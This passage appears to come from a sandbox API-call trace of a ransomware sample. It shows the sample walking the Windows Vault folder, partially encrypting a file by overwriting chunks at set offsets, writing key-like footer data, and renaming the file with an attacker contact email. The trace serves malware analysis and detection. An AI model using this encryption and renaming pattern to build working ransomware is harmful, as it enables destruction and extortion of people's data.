Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0075.118] wcscat (in: _Dest=0x33eac30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0075.118] wcscat (in: _Dest=0x33eac30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*" [0075.118] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5df8 [0075.118] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\*", lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343a8 [0075.118] wcscmp (_String1=".", _String2=".") returned 0 [0075.118] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.119] wcscmp (_String1="..", _String2=".") returned 1 [0075.119] wcscmp (_String1="..", _String2="..") returned 0 [0075.119] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", cAlternateFileName="154E23~1.VSC")) returned 1 [0075.119] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", _String2=".") returned 1 [0075.119] wcscmp (_String1="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", _String2="..") returned 1 [0075.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe4) returned 0x341df08 [0075.119] wcscpy (in: _Dest=0x341df08, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0075.119] wcscat (in: _Dest=0x341df08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0075.119] wcscat (in: _Dest=0x341df08, _Source="154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" [0076.614] Sleep (dwMilliseconds=0x1) [0076.621] Sleep (dwMilliseconds=0x1) [0077.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341df08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0077.606] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", cAlternateFileName="2F1A65~1.VSC")) returned 1 [0077.606] wcscmp (_String1="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", _String2=".") returned 1 [0077.606] wcscmp (_String1="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", _String2="..") returned 1 [0077.606] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe4) returned 0x33fcab8 [0077.606] wcscpy (in: _Dest=0x33fcab8, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0077.606] wcscat (in: _Dest=0x33fcab8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0077.606] wcscat (in: _Dest=0x33fcab8, _Source="2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" [0077.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fcab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0077.607] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc041220b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", cAlternateFileName="3CCD54~1.VSC")) returned 1 [0077.607] wcscmp (_String1="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", _String2=".") returned 1 [0077.607] wcscmp (_String1="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", _String2="..") returned 1 [0077.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe4) returned 0x348ad88 [0077.607] wcscpy (in: _Dest=0x348ad88, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0077.607] wcscat (in: _Dest=0x348ad88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0077.607] wcscat (in: _Dest=0x348ad88, _Source="3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" [0077.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x348ad88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0077.608] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 1 [0077.608] wcscmp (_String1="Policy.vpol", _String2=".") returned 1 [0077.608] wcscmp (_String1="Policy.vpol", _String2="..") returned 1 [0077.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33f15c0 [0077.608] wcscpy (in: _Dest=0x33f15c0, _Source="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0077.608] wcscat (in: _Dest=0x33f15c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\" [0077.608] wcscat (in: _Dest=0x33f15c0, _Source="Policy.vpol" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol") returned="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" [0077.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f15c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0077.609] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x33f5df8 | out: lpFindFileData=0x33f5df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e0f2e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc02e0f2e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc02e0f2e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.vpol", cAlternateFileName="POLICY~1.VPO")) returned 0 [0077.609] FindClose (in: hFindFile=0x34343a8 | out: hFindFile=0x34343a8) returned 1 [0077.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5df8) returned 1 [0077.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eac30) returned 1 [0077.609] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bc08) returned 1 [0077.609] RtlExitUserThread (Status=0x0) Thread: id = 740 os_tid = 0x11dc [0075.119] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default user.dat")) returned 0x20 [0075.120] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat", dwFileAttributes=0x20) returned 1 [0075.120] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9cc [0075.120] GetFileSizeEx (in: hFile=0x9cc, lpFileSize=0x1bfbfa5c | out: lpFileSize=0x1bfbfa5c*=602320) returned 1 [0075.120] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x930cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.120] ReadFile (in: hFile=0x9cc, lpBuffer=0x1bfbfa30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1bfbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x1bfbfa30*, lpNumberOfBytesRead=0x1bfbfa2c*=0x4, lpOverlapped=0x0) returned 1 [0075.122] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0075.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fd0 [0075.122] NtQuerySystemTime (in: CurrentTime=0x1bfbfa08 | out: CurrentTime=0x1bfbfa08*=132121176330190045) returned 0x0 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xaf41c5f3 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xa54d582b [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xb830e5f2 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xf1d33523 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xa4568781 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x48d0dcc4 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x807dc959 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x112e623e [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xc2170b3a [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xe0aa5e6d [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xdcc90c84 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x731807ea [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x116be602 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xd69ea287 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x7ccc0f12 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x4e38e7ea [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xbda21186 [0075.122] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x15168689 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x66030d [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xc4299560 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xd231f184 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xea63a569 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xa7ad8503 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xeff006f4 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x52d24945 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xfbccadd6 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x4ed0cdc7 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x899bb534 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xaa33c91b [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0xcc390245 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x4ae09b4 [0075.123] RtlRandom (in: Seed=0x1bfbfa14 | out: Seed=0x1bfbfa14) returned 0x3a6dd2ed [0075.134] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.134] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1bfbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1bfbf9c8*=0x4096, lpOverlapped=0x0) returned 1 [0075.142] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0075.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0075.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479098 [0075.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479098) returned 1 [0075.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479098 [0075.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479188) returned 1 [0075.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.143] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1bfbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1bfbf9c8*=0x4096, lpOverlapped=0x0) returned 1 [0075.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.143] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.143] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1bfbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1bfbf9c8*=0x4096, lpOverlapped=0x0) returned 1 [0075.148] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x4cb22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0075.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0075.148] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.148] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479188) returned 1 [0075.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0075.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479458 [0075.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479458) returned 1 [0075.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0075.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0075.149] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1bfbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1bfbf9c8*=0x4096, lpOverlapped=0x0) returned 1 [0075.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.183] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x8f03a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.183] ReadFile (in: hFile=0x9cc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1bfbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1bfbf9c8*=0x4096, lpOverlapped=0x0) returned 1 [0075.184] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x8f03a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0075.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0075.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479610 [0075.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479610) returned 1 [0075.185] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.185] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34796d8 [0075.185] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34793e0 [0075.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34793e0) returned 1 [0075.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0075.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0075.185] WriteFile (in: hFile=0x9cc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1bfbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1bfbf9c8*=0x4096, lpOverlapped=0x0) returned 1 [0075.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.185] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479098*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1bfbfa24, lpOverlapped=0x0 | out: lpBuffer=0x3479098*, lpNumberOfBytesWritten=0x1bfbfa24*=0x20, lpOverlapped=0x0) returned 1 [0075.185] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479188*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1bfbfa24, lpOverlapped=0x0 | out: lpBuffer=0x3479188*, lpNumberOfBytesWritten=0x1bfbfa24*=0x20, lpOverlapped=0x0) returned 1 [0075.186] WriteFile (in: hFile=0x9cc, lpBuffer=0x34796d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1bfbfa24, lpOverlapped=0x0 | out: lpBuffer=0x34796d8*, lpNumberOfBytesWritten=0x1bfbfa24*=0x20, lpOverlapped=0x0) returned 1 [0075.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.186] WriteFile (in: hFile=0x9cc, lpBuffer=0x3479070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1bfbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3479070*, lpNumberOfBytesWritten=0x1bfbfa2c*=0x8, lpOverlapped=0x0) returned 1 [0075.186] WriteFile (in: hFile=0x9cc, lpBuffer=0x1bfbfa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1bfbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x1bfbfa44*, lpNumberOfBytesWritten=0x1bfbfa2c*=0x4, lpOverlapped=0x0) returned 1 [0075.186] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1bfbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1bfbfa2c*=0x4, lpOverlapped=0x0) returned 1 [0075.186] WriteFile (in: hFile=0x9cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1bfbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1bfbfa2c*=0x6c, lpOverlapped=0x0) returned 1 [0075.186] WriteFile (in: hFile=0x9cc, lpBuffer=0x3478e90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1bfbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x3478e90*, lpNumberOfBytesWritten=0x1bfbfa2c*=0x20, lpOverlapped=0x0) returned 1 [0075.186] WriteFile (in: hFile=0x9cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1bfbfa2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1bfbfa2c*=0x4, lpOverlapped=0x0) returned 1 [0075.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0075.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0075.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479070) returned 1 [0075.186] CloseHandle (hObject=0x9cc) returned 1 [0075.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3476280 [0075.187] wcscpy (in: _Dest=0x3476280, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat" [0075.187] wcscat (in: _Dest=0x3476280, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat.mailto[kokoklock@cock.li].d0e731" [0075.188] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default user.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default 